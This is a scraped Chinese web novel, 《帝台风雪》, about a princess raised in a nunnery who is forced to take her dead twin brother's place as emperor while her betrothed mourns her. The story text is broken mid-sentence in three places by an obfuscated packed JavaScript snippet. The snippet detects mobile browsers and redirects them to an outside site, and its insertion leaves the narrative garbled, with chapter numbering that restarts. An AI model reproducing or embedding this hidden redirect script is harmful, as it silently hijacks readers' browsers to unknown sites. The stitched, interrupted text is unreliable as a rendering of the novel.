《帝台风雪》 1. 第一章 母女 大楚靖宁二十年冬。 金陵大雪。 烟灰色的天空深黯阴沉,大风呼嚎,掀动雕漆大门,连带猩红色的厚毡帘也被风拂起,六出雪花携着清冽寒气入室,落在妆台上的铜镜之上。 长乐公主萧含光呵了一口气,雪花化水蜿蜒而下。镜中明媚媗妍的少女面庞被雪水浸湿,变得面目模糊起来。 忙碌的宫人们兀自不觉,她们捧来珠玉盈盈的妆匣,为即将出嫁的公主试明日的新妆。十几个经验老到的宫娥围着她,依次为她着嫁衣,画花钿,点靥妆,戴华胜,簪步摇,佩璎珞,务必使一切完美无缺。 萧含光如提线木偶一般,由着她们动作。直到最后,为首的宫人长呵一口气:“成了,公主看看,可还满意?” 萧含光抬头向镜中望去,镜中女子云鬓花颜,一袭大红衣衫如染烟霞,那里还有昔日药师庵“阿苦”的半分模样。 她从不曾着这般亮色,忽觉得有些不认识自己了。 长乐公主萧含光,乃是本朝皇帝萧胥的孙女。虽为公主之尊,却自幼长于尼庵,人称之“阿苦”。 萧胥戎马一生,建立大楚王朝,偏偏子息不盛,一连四子,都幼年而殇,唯有第五子成年,娶妃苏氏,成亲不久殁亡,遗腹留下一对双生儿女。可惜因为双胎早产,这一双儿女也身体孱弱,难以养活。萧胥恐一双孙儿也未长夭亡,问道于护国寺高僧觉通禅师,禅师云皇帝一生征战,杀人太多,子息不得天佑,难以永年,唯有双生儿中一人舍去亲缘,自幼出家奉玄,每日于佛前诵经祈福,方得消此业孽,保萧氏一门子孙绵长。 皇帝自然不舍太孙,敕命年方三岁的公主入药师庵出家。 王妃苏氏不舍爱女,也不敢抗命,亲自将公主送到庵堂受戒。彼时,公主虽只三岁,一头秀发已如云如瀑,当静仪师太为公主剃度之时,王妃心生不忍,抚着公主的乌发,大恸道:“吾儿年幼,尚不记事,安可剃发,从此青灯古佛,了此一生?弟子愿从此吃斋茹素,一生礼佛,与吾儿同担此业,求师太允吾儿带发修行。”苏氏取身上金银簪环,献于沙门,保住了公主的头发。 仪式将终,静仪师太为公主起法号。苏氏望向跪在蒲团上的小小身影,想到从此要与爱女天各一方,终究抱着爱女泣泪如雨:“吾儿,莫怨阿母。纵使你生于皇家,不受饥寒。可尘世如刀斧,总有数不尽的苦等你来受……” 静仪师太心有所感,叹道:“世间有情,悉皆是苦。母亲生子是苦,母子离别亦是苦。入沙门修行,就是舍情脱苦,得大解脱。王妃既不舍亲缘,本师就为公主起法号阿苦,愿公主记得她的母亲。” 于是,“阿苦”成了公主的法名。 *** 风雪愈催,殿内清寒愈甚,玉盒中的黛眉都冻成硬邦邦一团。宫人们不得用热水将黛眉化开,为公主点翠羽,画凤眉。 殿外传来内监尖细的嗓音:“苏王妃到——” 宫人们手忙脚乱地停下手中的活计,乌泱乌泱地跪伏了一地:“参见王妃——” 吱嘎—— 栖凤宫的大门向两侧打开,猩红毡帘一动,宫娥们簇拥着一人携风雪缓步而入。那是一位年约三十七八的妇人。妇人一身素衣,不饰簪环,却自显出温淑贞静的风仪。她两鬓已染霜华,眼角堆着细密皱纹,当她朝萧含光瞧过来的时候,那些细纹便舒展开,晕染出慈容来。 那是寡居十八年的苏王妃,皇太孙萧樗和萧含光的母亲苏氏。 萧含光盈盈下拜:“阿……阿苦见过母亲……” 听得“阿苦”二字,王妃脸上笑容淡了一分,将她扶起,对左右道:“你们都出去吧,我要同公主单独说话。” “是。”满室的宫人一空,唯留下母女二人。 苏氏去捉着萧含光的手。萧含光在药师庵长大,直到近日敕命下达,命她下嫁庐江宋氏的长公子宋海晏,才有鸾车将她接回金陵。她自记事起,与母亲也不过见过寥寥数次,也不习惯这般亲近温存,不由自主地将手避入袖中。 苏氏手捉了个空,她微微一愣,也明白虽血缘至亲,然多年睽违,公主未必与她亲近。可唯一的女儿出嫁在即,母女之间未必还有这般夜话的时机,她一生的心事也未必还有吐露之时。 她重新伸手,拉着萧含光在铜镜面前坐下,微笑着说道:“长乐,你自幼便奉皇祖父之命,在药师庵出家,为大楚王朝祈福。阿母从来不情愿,皇命之下,也无可奈何。‘阿苦’只是你在药师庵时的法名,如今陛下已经下了旨意,下嫁庐江宋氏长公子宋海晏。母亲特请了一道旨意,封你为长乐公主。我儿苦尽甘来,‘阿苦’此名,你也无需再用。以后你就是长乐,阿母希望你康宁有福,长乐忘忧。” 苏氏将萧含光头上簪环一一取下,将她的发髻打散,现出如垂练悬川的长发来。她轻轻抚过女儿的长发,又取了玉梳,仔细梳理,一边道:“长乐,在阿母的家乡,女儿出嫁的前一晚,母亲要亲自为女儿梳头,讨个好彩头。那宋家儿郎阿母也打听过,听说他生得相貌堂堂,文武双全,为了娶你煞费苦心,我儿能有此归宿,阿母从未有哪一天像今日这般喜悦……” 风声簇簇,伴着母亲嘤咛的耳语:“今日也没有旁人,你给阿母说说,你可愿意嫁他?” 妆镜前一双红烛跳跃着,萧含光望着镜中的温婉妇人,听着耳边的殷切话语,感受着头上温柔的抚弄,她忽然想起一些她从前只听师太说过,却从来未曾有过清晰记忆的画面。 那是在十五年前的药师庵,母亲抱着她,轻抚着她的头发,哀哀泣泪向静仪师太求告:“吾儿年幼,尚不记事,安可剃发,从此青灯古佛,了此一生?” 不知为何,昔日抱着爱女、不肯叫她剃发的母亲忽地和此时此刻替她梳头的妇人重叠起来,透过那一面铜镜,显于她的眼前。于是她也看到,在笑容之下,在不易被人察觉之处,母亲眼角压抑住的泪水化作蜿蜒溪流,顺着眼角的细纹淌入鬓下。 那是与女儿暌违重逢的喜悦,也是即将与爱女分别的不舍。可母亲不说重逢,也不提离别,不提往昔的歉疚,也不问此刻是否已得到原谅,只问她一句:“你可愿嫁他?” 母亲这个词,也第一次在她的生命中显得温暖明亮起来。 在药师庵的十六年岁月,她与母亲之间的纽带只有一个名字。 曾有人对她说,名字是一个人的符号,是为人父母对孩子未来的想望和祝福。 因为希望她记挂自己的母亲,静仪师太为她起名阿苦。 她曾厌憎自己的名字,也连带着厌憎母亲这个词。谁人的母亲生下孩子,就是为了抛弃这个孩子,让她独自一人在尘世受苦呢? 可此时此刻,母亲给了她另外一个名字。 长乐。 长乐而忘忧。 这才是母亲对她的想望和祝福。 于是萧含光想起山野之中那翩如白鹤的少年将军,他明天就会来迎娶她。如果嫁给他,她往后余生或许便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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军士冷道:“等公主见了皇后娘娘,自然便知。公主,请吧——” 他微微抬手,身后的军士从两边分开,让出中间的道来。萧含光知形势不由人,此刻容不得她说半个“不”字,只好起身,向殿外走去。 苏王妃追了上来:“等等,我同你一道去。”却被军士拦下,“王妃娘娘,皇后娘娘只见公主一人,懿旨已下,命您回西苑等待消息。” 苏王妃意欲强闯,可她微薄之躯又怎敌得过甲胄加身的武士,终究被阻拦在后,大声喊着“长乐,长乐——” 军士道:“娘娘,这是皇后懿旨,望娘娘勿要抗旨,令末将等为难。”萧含光忍不住回头,道:“阿母,您先回去吧,女儿会保重自己,也望阿母珍重。我见了皇后娘娘,再去西苑看您。” 苏王妃遥遥望了女儿一眼,见她一袭红衣立于风雪中,显出不动声色的沉静,似乎并不为突如其来的变故惊慌,知她终究已不是三岁时离了阿母就会大哭不止的孩童了。她停下脚步,脱下外面斗篷,道:“雪天路寒,椒房殿离此甚远,长乐穿了斗篷再去。” 萧含光从军士手中接过斗篷,用它裹住内里的红色嫁衣,在军士的护送之下踏雪向椒房殿而去。 青冥者苍苍,洪荒者茫茫。雪深盈尺,飞絮沾衣。在这触目的极寒中,萧含光到底是感到了一丝丝的暖。 那是她睽违十五年的,属于母亲的温度。 2. 第二章 祖孙 萧含光行到椒房殿时,见殿外满是身披铠甲、手握长戟的禁卫,寒光闪闪,将椒房殿围得水泄不通。 带她前来的军士上前,同守在殿前的禁卫首领低语了几句,禁卫让出一条道,待她入内,椒房殿的大门在她身后缓缓关上。 青铜树灯架上的荧荧烛火照亮殿内情景,上首的凤座之上,端坐着一位玄色宫装的老妇人。妇人一头银发整齐地盘成高耸的发髻,髻上凤钗金翅张扬,红宝石点缀的凤目凌厉,似要振翅而飞。虽年逾六十,她身量依旧挺直,背脊未弯分毫。青螺黛画就的眉山锋利上扬,恰如两柄寒剑,眼眸狭长,幽黑深沉,不经意间的一扫,便叫人胆寒。 萧含光远远一瞥,再不敢细看,她伏跪于地,道:“孙女长乐,拜见皇后娘娘——” 凤座之上久不闻声响,萧含光在雪地里行来,双腿早冻得麻木,又跪在这冰冷的地板上,几乎失去知觉。但皇后不说话,她万不敢有任何动作,只当这一双腿不是长在自己身上。 不知过了多久,才听到上首传来声音,悠悠荡荡,听不出任何情绪:“长乐,你的母亲倒是给你选了个好名儿,你可知本宫传唤你,所为何事?” 萧含光将头低到尘埃里,道:“孙女不敢说。” 上首之人冷哂了一声,“不言不知,反言不敢说。说吧,不管对或不对,本宫恕你无罪。” “是。”萧含光壮着胆子道:“《礼记》有云:‘礼之于正国也,犹衡之于轻重也,绳墨之于曲直也,规矩之于方圜也。’天子嫁女于诸侯,是国之大礼,不可轻废。如今宋氏亲迎,就在明日,皇后娘娘在此时取消婚仪,不是因为皇后娘娘不知大体,失信于臣属,而是因为发生了比婚姻之礼更重要的大事……” 她说到这里,便缄口不言。皇后眼神一睐,透着幽幽冷光:“说下去——” “是。孙女从栖凤殿一路行来,各处宫室都杳然无声。唯到了椒房殿,见刀山剑林,水泄不通,不似寻常……”萧含光一咬牙,将最后一句吐出:“孙女斗胆揣测,想必国有大丧——” 上首之人长身而起。萧含光感觉皇后的目光似鹰隼一样落在她身上,似乎要将她从皮肉到肺腑都穿透,那寒凉之意直入骨髓,连周身血液都要冻结成冰。 她承受着这样的注视,不敢有分毫的动作。 良久,在她以为自己就要僵死的时候,终于听到皇后寒凉的声音:“国有大丧……你说得不错。长乐,你的皇爷爷死了,你嫁不成了。倒是你敏锐沉着,是个能成事的,不像你那个无用的哥哥……” 皇后重新坐回凤座,呵道:“来人,带她下去洗脸更衣——” 急匆匆的脚步从外涌入,萧含光感觉有人将她已无知觉的躯体从地上拖了起来,拉到一处耳房。数名宫人围着她,取下她身上的簪环配饰,用冷水绞过的帕子擦拭她的脸,洗去早前涂抹的红粉青黛、油膏腻脂,又脱去她身上的红色嫁衣,取过一套男子的衣服皂靴给她换上,又将头发以玉冠束起,换作男子的装束。 她尚不及厘清个中因由,已经再次被带到了皇后跟前。 皇后这次走近了些,仔细端详了她片刻,满意道:“果然是一母同胎的双生兄妹,简直是一模一样。” 萧含光按捺不住,问道:“皇后娘娘,这是何意?” 皇后深深地看了她一眼,道:“你随本宫过来。” 一名宫人提灯在前,萧含光跟在皇后身后,穿过回廊,转入一处偏殿。偏殿四壁设以白幔,四角各有一座十五连盏铜灯,白烛映着雪光,更显白光刹刹。 萧含光定神看去,见偏殿正中停了两具灵柩。 她心中一跳,国有大丧,她已有预料。她的爷爷萧胥今年六十有八,早年征战留下的沉疴发作,御医们束手无策,就连药师庵的静仪师太也曾被请到金陵为皇帝请脉。静仪师太回来之后心怀忧虑,言皇帝恐怕活不过今年冬天。 可另外一具棺木是—— 她低头看向自己身上的衣服,袖口以金线勾勒出繁复的云纹,两道金龙暗纹隐现于云间。这应是她的哥哥,大楚皇太孙萧樗的衣服,萧含光心中顿生不祥预感。 “你是个聪明的孩子,本宫就长话短说。”皇后道:“皇太孙身体先天不足,又不知节制,昨夜与宫人胡闹无度,睡后不起。今早皇帝听闻消息,病情急转而下,龙驭归天。如今我大楚北方尚与北魏交战,皇帝久病,朝堂上下人心浮动,只怕吹风草动,酿成巨变。国不可一日无主,本宫思来想去,唯有以你代替萧樗,以皇太孙的身份在灵前继位,方可保一国一朝之安宁。以后再无长乐公主萧含光,你就是萧樗——” 萧含光只觉天旋地转,脑海中一片空白,只听得自己低弱的气音:“那和宋家的婚事……” “婚事自然作罢——”皇后忽地提高声音,面带怒色:“宋家父子拥兵自重,以淮南战事为要挟,威逼皇帝,非要将你从庵堂请出,以公主的身份下嫁他宋家,此等行径,与乱臣贼子又有何异?若非战事焦灼,还有用他父子的时候,本宫又岂能容他——” 萧含光足下踉跄,跌坐在地。 被圈禁在药师庵的那些日子,她曾以为她这一辈子都无法离开那方寸之地。日诵经卷,夜守青灯,直到青丝白发,了此一生。 在鸾车接她回金陵时,她几乎不敢置信,却也只敢设想祖父将死之前终于良心发现,记起自己还有一个孙女。她从未想过,那偶然间闯入药师庵的少年将军竟敢为了她,冒天下之大不韪,要挟皇家,触怒天颜。 “你放心好了。本宫已想好了绝佳的理由,长乐公主水土不服,又因天降大雪,感染风寒,不幸去世。你哥哥和你面目一无二致,本宫已命人将他遗体做女子装扮,谅那宋家小儿也辨认不出。”皇后冷呵一声,声音近乎怨毒:“若非宋家以婚事威逼,你又怎会离开药师庵?若非你违背当年觉通大师之言,你哥哥又岂会横死?这一桩公案,本宫迟早与他宋家清算——” 萧含光抬头,见皇后虽是斥骂宋氏,那怨毒的目光却如刀如匕,落在她身上。 是了,皇后有理由恨宋家,自然有理由恨她。 按觉通大师的说法,她该在药师庵一辈子诵经祈福,方能保萧氏子孙福寿绵长。宋海晏横插这杠子,叫公主诵不成经,念不成佛。于是她哥哥寻欢过度而死,也成了她和宋家的罪过。 可凭什么? 凭什么她就该三岁离开自己的母亲,在庵堂里过着清苦的生活?凭什么祖父杀人的罪孽需要她一人承受? 就因为她姓萧吗? 可如今这华堂之下的主子,谁不是萧氏之人? 又凭什么她好不容易可以脱离药师庵,又要因为这与兄长肖似的脸孔,套上另外一层枷锁,再次被囿于这名为皇宫的囚牢? 她一个长于庵堂的孤女,满朝文武一个不识,又如何能做皇帝?不过是他人手中的傀儡罢了。 她缓缓起身,惨淡一笑:“皇后娘娘,长乐驽钝,不堪大事,恐负皇后娘娘之望。” “长乐,自你踏入椒房殿的那一刻,公主身亡的讣告便已发出。这皇帝你能做得做,不能做也得做——”皇后面沉如水,声音陡然拔高:“长乐,莫忘了你还有一个母亲——” 萧含光脸上瞬间失了颜色,只剩下死灰般的惨白。 她怎么忘了,在栖凤殿下达的凤诏有两道。一者,召她到椒房殿觐见,二者,命王妃苏氏回西苑,无诏不得外出。 皇帝、太孙一朝尽丧,她那可怜的母亲一无所知,还一心为女儿准备那注定不会再有的婚仪。以皇后的娘娘的手腕,软禁已经是很温和的手段,更有可能,她的母亲此刻已经不在西苑了。 皇后早已安排下一切,根本没有她进退的余地。 她双膝落地,声音艰涩喑哑:“长乐……不,萧樗愿照皇祖母的吩咐行事……” “很好,我就知道你是个懂事的好孩子。”皇后终于露出满意的笑容:“明日下午,宋家亲迎的队伍就会入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还听说北魏那边打不过宋家大军,为了拉拢宋家,派出特使到庐江,不仅愿意将皇后所出的新安公主嫁给小宋将军,还愿意许以侯爵之位。可你猜怎么着,咱们小宋将军,为了长乐公主,亲自斩下了北魏使节的脑袋。我倒真想看看,那长乐公主是何等仙姿玉貌,值得他宋海晏付出这般代价也要求娶——” 宋海晏控缰回马,脸上现出一抹极明亮的笑容,“松声,思明,母亲这次叫你们跟来,是请你们当傧相,到婚礼上替我挡酒,可不是叫你们拿我凑趣。你们想早点见到公主,就少说这些废话,赶紧跟上——” “驾——” 白马似乎感知主人心意,嘶鸣一声,放开四蹄向前狂奔。雪后的官道没有行人,一片壮阔无垠,只遥见前方的大城。宋海晏信马由缰,任马蹄溅起漫天雪沫,落在身上、面上,却觉天地间再无这等畅意之事。 驰骋到金陵城下,宋海晏已出了一身热汗。 城门口,宋家在金陵城的管事宋吉候在道旁,神色焦急。遥见宋海晏三人驱马过来,连忙迎上,牵过马缰,将三人带到城墙僻静无人处,低声道:“公子,金陵城出事了。陛下薨了,今日婚仪已经取消了……” 赵松声陆思明神色都是一变。事到临头,还能出这种意外。 “老皇帝怎地这不中用,也不多等我一日——”宋海晏踢了踢马腹,脸上笑意未减:“罢了,有没有婚礼无所谓,只要肯让我带走公主就行。再不济,也不能让她回药师庵,他们总不至于连这事也要反悔吧……” 陈吉嘴角一抽,“还有一桩事,宫中传来消息,长乐公主昨夜感染风寒,也不幸辞世,将与皇帝一起入葬,请公子节哀……” “你说什么?”马上的人脸色惊怖,身形摇摇晃晃,几乎坐立不住。 陈吉面露不忍之色,深吸一口气:“长乐公主自药师庵回到金陵,水土不服,又因天降大雪,感染风寒,发了急症,于昨夜病亡……大丈夫何患无妻,公子你……” 他话音未尽,宋海晏已直挺挺从马上坠下。 3. 第三章 君臣 陆思明眼疾手快,飞身下马,将宋海晏扶住,转头看向宋吉:“宋伯,这些消息确定是实吗?你们知道海晏的性子,他可经不起这样的玩笑,这其中莫非还有别的变故?” 陈吉哭丧着脸:“确实是宫中消息,句句是实。老奴就算再向天借一百个胆子,也不敢拿公主的事同主子开这样的玩笑。” 宋海晏先前乍闻噩耗,一阵眩晕,以至从马上坠下,这会勉力提起心神,想要再次扶鞍上马,“我不信她会死,三个月前,我与她分别,她身体康宁得很,怎么小小的风寒就会死?” 他恨声道:“定是他们萧家言而无信,拿这些鬼话来诳我,再将她关到一处暗无天日的尼庵,去念那劳什子的佛经……就算这世上父母亲人无一人爱她,也有我爱她……我要去救她出来,我要去救她……” 他踉踉跄跄扶蹬而上,却手脚发软,几次跌倒。陈吉将他扶住,红了眼眶:“公子,没有人诳你。宫门前已有黄门等候,说是等公子到了,便领去栖凤殿,见公主最后一面。” 赵松声和陆思明对视一眼,都在对方眼中看到了深深的不忍。 宋海晏却仿佛没有听到,他一双黑眸曈曈,深得迫人。他推开陈吉,“我不信,我不信,你们一定都是诳我。阿幸……是了,阿幸在栖凤殿,她在等我,她在等我娶她……我要去娶她……” 他不知忽然从那里来了力气,拔缰上马,踏过雪街,向宫城而去。 “不好,阿晏这是疯了,要出事——”陆思明顾不得许多,连忙上马追了上去。 宋海晏行到宫门前,见黄门郎扶着一位十七八少年立于御阶之上,少年衰裳垂绖、缟素加身,哀容戚戚,却难掩丽质清姿,不是他朝思暮想的阿幸又是何人? 宋海晏喜甚乐甚,从马上扑跌而下,转瞬已到了少年跟前:“阿幸,他们诳我,说你死了。我就知道你没死,你不要做公主了,我来带你走,我带你走——” 他就要去捉少年的手,却被黄门郎踢了一脚,滚落御阶之上。黄门郎斥道:“眼瞎的东西,睁大你的狗眼瞧瞧。这可不是公主,昨夜皇帝薨逝,今日上午皇太孙已在灵前即天子位。冒犯天子,尔知何罪吗?” 宋海晏身上本来有伤,此刻呕出一口血来,他怔怔看着少年,目睛不眨:“可你明明就是阿幸,是药师庵的阿苦,是天家许给我的妻子。” 萧含光双手紧紧攥在袖中,她不敢有任何的动作,不敢有任何的表情,也不敢说任何的话语,只当自己是庵里那些泥胎塑成的佛像。 这世上最了解她的人,不是她的母亲苏氏,不是她的师父静仪师太,而是眼前的少年。叫宋海晏见到她却认她不出,本是最不可能的事。 “糊涂。当今天子与长乐公主本是一母同胎的双生兄妹,自然样貌相同。”黄门郎声音尖细:“宋将军见君不拜,是欲造反吗?” 这时,陆思明终于从后面赶上,连忙将宋海晏按跪在地上,将头压在雪地里,禀道:“陛下,我这表兄在城门口听闻公主死讯。失魂落魄,神思混乱,有些疯疯癫癫的,以至认错了人。冲撞陛下,还望恕罪。” “我没有认……唔……”宋海晏还没说完,陆思明的手从后面按了下来,埋到雪地里,冷雪呛了他一嘴,最后两字也在风雪中消音。 黄门郎瞥了萧含光一眼,示意她说话。 萧含光口中含了麻核,声音喑哑:“公主殁亡,宋将军心中伤痛,朕怎会怪罪,两位请起吧——” 陆思明拉着宋海晏站了起来。 黄门郎道:“太皇太后有旨,说长乐公主回宫一日病亡,宋将军必定不信,说不定以为天家悔婚,私藏公主。命陛下亲自领宋将军到栖凤殿一观长乐公主的遗容,也好死心。太皇太后还说了,公主无福,以后宋将军可自行婚娶,天家绝不干涉。” 宋海晏瞳目一张,看向萧含光:“除了阿幸,我谁都不娶。” “您娶不娶是自家事,小人只是个传话的。如今话已传到,两位,走吧,最后去看一眼公主——”黄门郎扶着萧含光的手臂,陆思明拉着宋海晏在后,沿着雪后的御道,向栖凤殿而去。 一夜过去,栖凤殿昨日用于婚嫁的红绸锦缎都已被撤去,代之以用于丧事的白幔纸幡。红色喜烛换成白蜡,喜堂换做灵堂。 人生机遇殊难预料,萧含光昨日坐在妆台前,如提线木偶一般被宫人们摆弄时,绝不会想到今日的她会成为另外一种的提线木偶,一言一行只能听随高位者的心意而动。更不会想到,婚礼会变成丧仪,她分明还活着,却不得不带着本应出现在婚礼上的新郎来瞻仰“自己”的遗体。 她不敢回头看宋海晏。 她害怕他真的会相信她已经死了。如果他信了,那这世上也许再不会有人记得她了,也不会再有人对她说:“名字是一个人对另外一个人的想望与祝福,阿苦这个名字太苦了。我要将我全部的幸福分给你,以后我就叫你阿幸……这样你就会得到幸福……” 可她也害怕他竟始终不肯相信。如果他在灵堂上还要继续纠缠,事情闹出去,势必会让更多的人怀疑她的身份,祖母绝不会轻易放过她。 她心中忐忑难明,一步一步踏上栖凤殿的长阶,迈过门槛。她走过“自己”的灵柩,立于上首高处。她对自己说,萧樗,你是萧樗,你不是长乐公主,你根本不认识宋海晏,他会怎么样和你没有关系。 然后,她听到一声凄惶的悲鸣:“阿幸——” 萧含光猛地回头,看到灵柩之中,“长乐公主”的遗体已被鲜血沁染,宋海晏扶着棺木的手垂落,整个人倒落殿中,发出哐当一声闷响。 鲜血从他前胸后背涌出,洇湿了他身上的血色红衣,将汉白玉沏成的地板染成怵目的红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279668|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆思明惊惶大喊:“不好,表哥旧伤复发了,快请御医——” 萧含光下意识要朝他靠近,她知道宋海晏身上旧伤,那是三个月前他试图带她离开药师庵,被禁卫一箭射中胸口,差点神死。虽然后来静仪师太尽力救治,到底是留下暗伤。 她走了两步,终究停步,发号施令:“快请御医。” 御医很快来到,他稍微把脉便眉头深皱,不管三七二十一撕开宋海晏的上衣。于是,她看到宋海晏全身上下竟全部是纵横交错的狰狞伤口,这些伤口本未彻底愈合,这会又重新裂开,血流不止。 饶是见多识广的御医也深吸一口气,问道:“小宋将军怎会伤重如此,这是何人所为?” 陆思明两眼涌下泪来,道:“六个月前,宋家大军在宝瓶口大战与北魏交战,阿晏眼睛受伤,听人说药师庵的静仪师太医术高明,往药师庵求医。两个月后,表兄伤愈回家,说药师庵有位公主,非要娶公主不可。老宋将军大怒,说他想害死宋家满门,将他不饮不食吊了三日,连藤鞭都抽断了九根,只想让他歇了这份心思。” “可阿晏是头犟驴,被打得皮开肉绽,硬生生捱了三日,就是不肯松口,这一身伤就是那时所留下。宋老将军本想将他打死,以免贻祸满门。是宋夫人跪求,又有军中众将一起求情,说宋家这些年镇守庐江,也算有功于朝廷,阿晏十五从军,这些年薄有微功,求娶公主也不算过分,众将自愿联合上表求婚,万一陛下不允,也好教阿晏歇了这份心思,总不能看着他被活活打死。” “不意半月之后,陛下竟果真愿意许公主。阿晏本来一身鞭伤,沉疴难起。后来听闻这桩喜讯,才慢慢有了生气。五日前从庐江出发时,他身上的伤根本没好,他生怕误了日期,一路从庐江车马劳顿来到金陵。”陆思明神情哀恸:“可以说,阿晏勉力支撑到金陵,全是为了娶公主这点念想。如今公主死了,他只怕也活不成了……” 萧含光后退两步,靠着一根珠子才勉强立住。她手上的指甲掐进皮肉里,却丝毫不觉得疼痛。 眼眶的热泪不敢落下,她咬破自己的舌尖,将血含在口中,慢慢品尝着那一丝血腥的苦味。凭此,她那双没有知觉的身躯才能拘住自己的灵魂的重量,不教自己失控奔向那倒落在地的、奄奄一息的躯体。 神思迷茫之间。 她仿佛回到了三岁那年,本该在母亲怀里安睡的那个孩子被带到了药师庵。 她不知道发生了什么,懵懂地看着周遭的一切。 直到她听到了禅院的钟声,众比丘尼的诵经声,听到母亲不忍与爱女离别的痛哭声,也听到了静仪师太那一声叹息。 世间有情,悉皆是苦。 原来,不管是母亲还是阿晏,都不能给她以祝福。 她不是长乐。 她不是阿幸。 她是阿苦。 4. 第一章 佛龛落梅 江南的早春,天气尚寒。 阿苦早起时,见佛龛座下陶罐中的白色梅花花瓣散落,连余香都散尽,唯剩枯瘦的枝杈。 她披衣出门,行到阿难殿旁,见那株绿萼梅树已褪尽了昨日素白,枝头残蕊如倦蝶垂翼,零落的花瓣似一场未融尽的雪,簌簌扑向佛殿青苔斑驳的石阶,竟是再难折一支春色。 她正欲回身,忽然瞥见佛殿檐后探出一抹孤白,花瓣薄如蝉翼,在枯枝上乍破出几粒玉珠。虽仍是那一株绿萼,那截枝条因为朝北,又被屋檐遮挡,花期竟晚了数天。 她攀上栏杆,折下枝条,带回禅房,又从井中汲了新水,换了陶罐中的残水,将白梅清供其中。做完这些,她梳理了一头长发,用木簪挽了个髻子,戴上妙常冠,向经堂走去。妙常冠垂下的白色飘带与如瀑如川的青丝交错,晨风拂过,更显清影绰约。 道上已有了不少同时参加早课的沙弥尼与比丘尼【1】,只是大家都是一身青灰缁衣,以布巾缠头,她一身与众不同的装扮在人群中格外扎眼。 她听到众尼的私语声。 “看,那狐媚子又来了。这庵堂里也没男人,不知打扮成这样是要给谁看……” “瞧她那走路的姿态,羽带飘摇的,都比别人轻浮些……” “人家毕竟是公主嘛,出身高贵,怎么能跟咱们一样?你们没瞧见,她每日早起,都要以陶罐供花,装模作样的,以为自己很清高,估计还觉得自己生活在皇宫中呢?” “呵,入了这空门,人人平等。公主又如何,还不是每天担水、扫洒、劈柴、捣药、念经,跟咱们干一样的活……” “对了,她叫什么……阿苦……笑死人了,咱们整个药师庵都找不到这般低贱难听的名儿了……” “你们别说了,我听说这名儿可是住持亲自起的,这话要是传到住持耳中,大家今晚都得多念一个时辰的经……” 阿苦充耳不闻,她加快脚步,第一个来到经堂之中。 早课完毕后,众尼纷纷离开,阿苦将《金刚经》默写一千言,供于佛前,再往柴房而去。 药师庵并不是寻常庵堂。这里供奉的是药师佛琉璃光如来菩萨,经书记载药师佛于过去世行菩萨道时,曾发十二大愿,愿为众生解除疾苦,使具足诸根,趋入解脱,故依此愿而成佛。药师佛法相为螺发形,左手持药壶,右手结施无畏印。寓意施行药术,以渡众生。 药师庵住持静仪师太身负秘传医术,堪称佛国妙手,求医问药者不绝,药师庵香火也极鼎盛。 静仪师太秉持众生平等之道,所有弟子除每日修行之外,都需在执事堂领一定的差事。本月阿苦所领的差事是同三位师姐一起劈柴。 她到柴房时,三名师姐已经不在那里了,规定份额的柴只劈了一小部分,余者尽数堆在她的位置上。她知三人故意排挤欺辱她,却也不愿去找她们理论,以免多听一耳朵的污言秽语。至于找执事的长老理论,更是无用之功,就算长老给她分配别的活计,换了新的搭档,也总归一样。在这药师庵,她做的活总是最多的。这一切,不过是因为她比众尼多一头乌发,众人嫉恨她而已。 阿苦将剩下的柴劈完,摆放整齐,撑起发酸的胳膊回房。一比丘尼迎了上来,道:“阿苦,住持让你去见她。” 阿苦待要细问,那女尼已跑了个没影。阿苦只得转步,往静仪师太日常起居的禅堂而去。 禅堂深深,供佛的檀烟和药材的苦香融在一处,飘飘渺渺,氤氲而上,缭绕在巨大的药师佛金身佛像周围。神佛低垂眉目,面容慈悲,似在悯怀一切众生。 静仪师太手持念珠,趺坐蒲团上,双眼微闭,低声诵经。 阿苦双手合十,行了佛礼,道:“师父,您找我。” 静仪师太抬眼,看见面前弟子。少女亭亭而立,纵然一身缁衣,不着铅华,也难掩玉质。秀容沉静,抬眸似天女展颜,垂首似菩萨低眉。那并非释门持戒的空洁之质,而是天生清贵之气,纵然在此清净之地,亦难以彻底掩去。 她心中轻叹,珠玉含光,总是遭人嫉恨。 她说道:“阿苦,沙门虽人人持戒,但你师姐们慧根有限,修行不到火候。我已经劝诫过她们,那些浑话,你不要往心里去。” 阿苦双膝着地,一咬牙,道:“师父,弟子愿意绞去头发。” 静仪师太手中念珠一顿:“为何?” 阿苦道:“佛门之中,众生平等。众师姐师妹既然都剃了头发,弟子也该一样。” 静仪师太摇头:“不可,你并无佛缘,淹留在此,不过因为当年一纸敕命而已。当年你母亲让你留下头发,自你八岁以后每年派遣女学士来庵中,教你诗书礼仪经世之道,你应该知道个中因由。” 阿苦笑容悲苦:“母亲以为我可以离开此地,她不过心怀妄念罢了。” 静仪师太道:“不然,为师前月入宫,皇帝陛下沉疴难起,不过多捱一两年。如果太孙继位,你母亲就是太后,此事并非毫无可能。剃发之事,休要再提。为师如今叫你来,并非为此,而是为了另一件事。” “师父请讲。” 